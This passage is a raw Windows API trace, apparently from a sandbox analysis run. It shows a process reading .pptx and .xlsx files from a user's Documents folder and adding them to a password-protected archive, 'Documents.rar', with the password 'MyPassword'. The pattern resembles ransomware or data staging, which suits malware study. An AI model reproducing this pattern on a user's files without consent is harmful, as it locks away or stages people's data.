lpString="N-1n4D-yiI1zNCjze.pptx") returned 1 [0068.358] GetTickCount () returned 0xa6761c [0068.358] UpdateWindow (hWnd=0x10278) returned 1 [0068.359] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.359] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.359] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.359] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.359] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x3dd)) [0068.359] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.359] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14369938975) returned 1 [0068.359] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x97c7, lpOverlapped=0x0) returned 1 [0068.360] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a9807, nNumberOfBytesToRead=0xf6839, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a9807*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.360] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.360] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.360] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e30 [0068.360] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e60 [0068.360] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63e60, Size=0x48) returned 0x39db40 [0068.360] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.360] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e60 [0068.360] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63e60, Size=0x48) returned 0x39daf0 [0068.360] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.360] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.360] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e60 [0068.360] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e90 [0068.360] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63e90 | out: hHeap=0x2e0000) returned 1 [0068.360] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63e60 | out: hHeap=0x2e0000) returned 1 [0068.360] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63e30, Size=0x48) returned 0x39db40 [0068.360] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.360] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.360] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.361] GetTickCount () returned 0xa6761c [0068.361] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14370107026) returned 1 [0068.361] GetTickCount () returned 0xa6761c [0068.361] GetTickCount () returned 0xa6761c [0068.361] GetTickCount () returned 0xa6761c [0068.361] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.361] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.361] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.361] ResetEvent (hEvent=0x1a4) returned 1 [0068.361] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.363] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.363] ResetEvent (hEvent=0x1a4) returned 1 [0068.363] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.364] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.364] GetTickCount () returned 0xa6761c [0068.364] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14370452631) returned 1 [0068.364] GetTickCount () returned 0xa6761c [0068.364] GetTickCount () returned 0xa6761c [0068.364] GetTickCount () returned 0xa6761c [0068.364] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.364] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.364] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.364] ResetEvent (hEvent=0x190) returned 1 [0068.364] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.365] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.365] ResetEvent (hEvent=0x190) returned 1 [0068.365] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.365] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.365] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.365] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.365] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x209d17 [0068.365] SetFilePointer (in: hFile=0x198, lDistanceToMove=106, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x209d81 [0068.365] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.366] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.366] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.366] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.366] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x9840, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x9840, lpOverlapped=0x0) returned 1 [0068.366] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.366] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.366] SetFilePointer (in: hFile=0x198, lDistanceToMove=2137367, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x209d17 [0068.366] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x209d17 [0068.366] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e30 [0068.366] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e60 [0068.366] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63e60, Size=0x48) returned 0x39daf0 [0068.366] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.366] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e60 [0068.366] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63e60, Size=0x48) returned 0x39db40 [0068.366] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.366] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.366] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e60 [0068.366] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e90 [0068.366] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63e90 | out: hHeap=0x2e0000) returned 1 [0068.367] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63e60 | out: hHeap=0x2e0000) returned 1 [0068.367] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63e30, Size=0x48) returned 0x39daf0 [0068.367] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.367] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x6a, lpOverlapped=0x0) returned 1 [0068.367] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e30 [0068.367] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x6a) returned 0x3b4be90 [0068.367] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.367] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.367] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x2135c1 [0068.367] CloseHandle (hObject=0x1b0) returned 1 [0068.367] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.367] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.367] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.367] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.367] FindFirstFileW (in: lpFileName="N5ZN.pptx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.367] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.367] CreateFileW (lpFileName="N5ZN.pptx" (normalized: "c:\\users\\whuoxysd\\documents\\n5zn.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.367] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.367] GetTickCount () returned 0xa6761c [0068.367] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.367] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.367] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.367] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.367] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="N-1n4D-yiI1zNCjze.pptx") returned 22 [0068.367] SetWindowTextW (hWnd=0x10280, lpString="N5ZN.pptx") returned 1 [0068.367] GetTickCount () returned 0xa6761c [0068.368] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.368] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.368] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.368] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.368] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x3dd)) [0068.368] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.368] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14370837413) returned 1 [0068.368] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x12ba8, lpOverlapped=0x0) returned 1 [0068.369] ReadFile (in: hFile=0x1b0, lpBuffer=0x36b2be8, nNumberOfBytesToRead=0xed458, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36b2be8*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.369] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.369] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.369] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e60 [0068.369] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e90 [0068.369] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63e90, Size=0x48) returned 0x39db40 [0068.369] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.369] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e90 [0068.369] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63e90, Size=0x48) returned 0x39daf0 [0068.369] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.369] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.369] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e90 [0068.369] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ec0 [0068.369] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63ec0 | out: hHeap=0x2e0000) returned 1 [0068.369] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63e90 | out: hHeap=0x2e0000) returned 1 [0068.369] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63e60, Size=0x48) returned 0x39db40 [0068.369] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.369] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.369] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.370] GetTickCount () returned 0xa6761c [0068.370] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14371030845) returned 1 [0068.370] GetTickCount () returned 0xa6761c [0068.370] GetTickCount () returned 0xa6761c [0068.370] GetTickCount () returned 0xa6761c [0068.370] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.370] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.370] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.370] ResetEvent (hEvent=0x1a4) returned 1 [0068.370] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.371] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.371] ResetEvent (hEvent=0x1a4) returned 1 [0068.371] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.375] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.375] ResetEvent (hEvent=0x1a4) returned 1 [0068.375] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.377] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.377] GetTickCount () returned 0xa6762b [0068.377] GetLastError () returned 0x0 [0068.377] SetLastError (dwErrCode=0x0) [0068.377] GetDlgItem (hDlg=0x10278, nIDDlgItem=158) returned 0x10284 [0068.377] GetDlgItem (hDlg=0x10278, nIDDlgItem=153) returned 0x10282 [0068.377] GetWindowTextW (in: hWnd=0x10282, lpString=0x1cbe80, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0068.377] SendMessageW (hWnd=0x10284, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0068.377] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14371737775) returned 1 [0068.377] GetTickCount () returned 0xa6762b [0068.377] GetTickCount () returned 0xa6762b [0068.377] GetTickCount () returned 0xa6762b [0068.377] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 1 [0068.377] GetMessageW (in: lpMsg=0x1cd760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd760) returned 1 [0068.377] GetFocus () returned 0x0 [0068.377] TranslateMessage (lpMsg=0x1cd760) returned 0 [0068.377] DispatchMessageW (lpMsg=0x1cd760) returned 0x0 [0068.377] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.377] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.377] ResetEvent (hEvent=0x190) returned 1 [0068.377] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.378] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.378] ResetEvent (hEvent=0x190) returned 1 [0068.378] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.378] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.378] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.378] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.378] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x2135c1 [0068.379] SetFilePointer (in: hFile=0x198, lDistanceToMove=93, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x21361e [0068.379] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.379] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.379] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.379] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.379] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x12c50, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x12c50, lpOverlapped=0x0) returned 1 [0068.380] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.380] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.380] SetFilePointer (in: hFile=0x198, lDistanceToMove=2176449, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x2135c1 [0068.380] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x2135c1 [0068.380] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e60 [0068.380] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e90 [0068.380] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63e90, Size=0x48) returned 0x39daf0 [0068.380] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.380] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e90 [0068.380] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63e90, Size=0x48) returned 0x39db40 [0068.380] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.380] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.380] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e90 [0068.380] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ec0 [0068.380] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63ec0 | out: hHeap=0x2e0000) returned 1 [0068.380] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63e90 | out: hHeap=0x2e0000) returned 1 [0068.380] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63e60, Size=0x48) returned 0x39daf0 [0068.380] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.380] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x5d, lpOverlapped=0x0) returned 1 [0068.380] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e60 [0068.380] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x5d) returned 0x3b64670 [0068.380] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.380] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.380] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x22626e [0068.380] CloseHandle (hObject=0x1b0) returned 1 [0068.380] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.380] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.380] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.380] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.380] FindFirstFileW (in: lpFileName="N8uU1e.xlsx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.381] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.381] CreateFileW (lpFileName="N8uU1e.xlsx" (normalized: "c:\\users\\whuoxysd\\documents\\n8uu1e.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.381] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.381] GetTickCount () returned 0xa6762b [0068.381] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.381] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.381] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: 